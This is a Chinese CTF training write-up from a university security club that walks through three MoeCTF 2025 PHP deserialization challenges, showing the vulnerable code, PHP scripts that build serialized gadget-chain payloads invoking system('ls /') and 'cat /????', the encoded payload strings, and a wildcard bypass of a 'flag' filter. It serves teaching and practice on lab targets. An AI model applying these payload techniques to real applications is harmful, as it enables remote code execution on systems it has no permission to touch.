XDSEC 2025~2026 Web 第一次组会

文章发布时间:

最后更新时间:

XDSEC 2025~2026 Web 第一次组会 Training

// By Patricia Of End

写在前面

说点大家都知道的,我不会 PHP,所以报告得梦到哪句说哪句了。

之前做这几道题的时候是 LLM 一把梭,不过既然学了就要好好分析一下,总不能什么时候都靠 LLM 解题。(虽然确实好用)

MoeCTF 2025 - Web 17

题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
}

构建 Payload ,通过上传的对象 $a 在销毁时调用 __destruct 魔术方法从而执行任意命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
}

$A = new A();
$A->a = 'system("ls /");';
echo urlencode(serialize($A));

本地运行结果为

1
2
O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A15%3A%22system%28%22ls+%2F%22%29%3B%22%3B%7D'ls' is not recognized as an internal or external command,
operable program or batch file.

那我知道成功没成功了。

至于为什么用ls /而不是env这是小巧思(

MoeCTF 2025 - Web 18

题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);

class PersonA {
private $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}

class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}

}

if(isset($_GET['person'])) {
unserialize($_GET['person']);
}

当被反序列化时,会调用 class PersonA 的 __wakeup 魔术方法。

1
2
3
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

因此,我们需要让 $name->work(); 事实上调用 class PersonB 的 work() 函数。

在本地改一下 PersonA 类的 $name 属性,变成 public 之后有 Payload :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class PersonA {
public $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}

class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}

}

if(isset($_GET['person'])) {
unserialize($_GET['person']);
}


$A = new PersonA();
$B = new PersonB();

$A->name = $B;
$B->name = 'system ("ls /");';

echo urlencode(serialize($A));

本地运行结果为

1
O%3A7%3A%22PersonA%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A7%3A%22PersonB%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A16%3A%22system+%28%22ls+%2F%22%29%3B%22%3B%7D%7D

没问题。

MoeCTF 2025 - Web 19

LLM 当时没做出来这个题,但感觉不是 LLM 的问题是我的问题。

题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

class Person
{
public $name;
public $id;
public $age;

public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}

class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$age = $this->age;
$name->$id($age);
}
}

class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}
}

class PersonC extends Person
{
public function __Check($age)
{
if(str_contains($this->age . $this->name,"flag"))
{
die("Hacker!");
}
$name = $this->name;
$name($age);
}

public function __wakeup()
{
$age = $this->age;
$name = $this->id;
$name->age = $age;
$name($this);
}
}

if(isset($_GET['person']))
{
$person = unserialize($_GET['person']);
}

这种题到底是谁在出

如下是组会上提到的思路:

反序列化时会调用 class PersonC 的 __wakeup 魔术方法。

由于 class PersonA,PersonB,PersonC 都是 Person 的子类,因此他们都继承了 $name,$id,$age 三个属性以及 __invoke 魔术方法,当这些对象被当作函数调用时就会执行。

1
2
3
4
5
6
7
public function __wakeup()
{
$age = $this->age;
$name = $this->id;
$name->age = $age;
$name($this);
}

然后会执行 $name($this) ,触发 __invoke 魔术方法,执行以下内容,

1
2
3
4
5
6
public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}

__invoke 完了,然后销毁对象。在销毁时我们应该触发 class PersonA 的 __destruct 魔术方法。

1
2
3
4
5
6
7
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$age = $this->age;
$name->$id($age);
}

我们能明显看出 $name->$id($age) 这里调用了 class PersonC 的 public function __Check

所以 $name->$id($age) 就是 __Check($age) 。

1
2
3
4
5
6
7
8
9
public function __Check($age)
{
if(str_contains($this->age . $this->name,"flag"))
{
die("Hacker!");
}
$name = $this->name;
$name($age);
}

$name($age); 应该为 system ("cat /flag"); 。考虑到前几题我们用 ls / 看过了根目录下 flag 文件是唯一一个四字文件,而这里又有过滤,聪明的你 做过Webshell_Revenge的你 一定能想到 Linux 里面的通配符 ? 。因此我们用 system ("cat /????"); 作为 Payload 。

但是上面的步骤(组会上提到的步骤)其实在把问题复杂化:

__wakeup 到底有什么用啊,如果我们直接传入一个 class PersonA 的对象,不就直接解决问题了吗?

让 PersonA 调用 __Check 函数,直接获得 flag 。

构造 Payload :

1
2
3
4
5
6
7
8
9
10
11
12

$personC = new PersonC();
$personC->name = "system";
$personC->age = '';
$personC->id = '';

$personA = new PersonA();
$personA->name = $personC;
$personA->id = "__Check";
$personA->age = "cat /????";

echo (urlencode(serialize($personA)));

$personA 在销毁时调用 __destruct 魔术方法,$personA->name->id 即 $personC->id 即 __Check 被调用,传出字符串 ‘“cat /????”‘ ,再获取 $this->name = ‘system’ ,执行 system ("cat /????") 传回 flag。

得到序列化字符串:

1
2
3
O%3A7%3A%22PersonA%22%3A3%3A%7Bs%3A4%3A%22name%22%3BO%3A7%3A%22PersonC%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3BN%3Bs%3A3%3A%22age%22%3BN%3B%7Ds%3A2%3A%22id%22%3Bs%3A7%3A%22__Check%22%3Bs%3A3%3A%22age%22%3Bs%3A9%3A%22cat+%2F%3F%3F%3F%3F%22%3B%7D
//
O:7:"PersonA":3:{s:4:"name";O:7:"PersonC":3:{s:4:"name";s:6:"system";s:2:"id";N;s:3:"age";N;}s:2:"id";s:7:"__Check";s:3:"age";s:9:"cat /????";}

得到 flag。

对于本题的改进方法,个人认为应该在 PersonC 子类增加一个独有的属性,在 __wakeup 处把它赋值给一个变量,在其它子类的各魔术方法中进行 if() 检验,这样可以确保数据从 PersonC 传入。

最近事情有点多,19_revenge 和后续的两个题目咕咕咕咕,先占个坑在这里。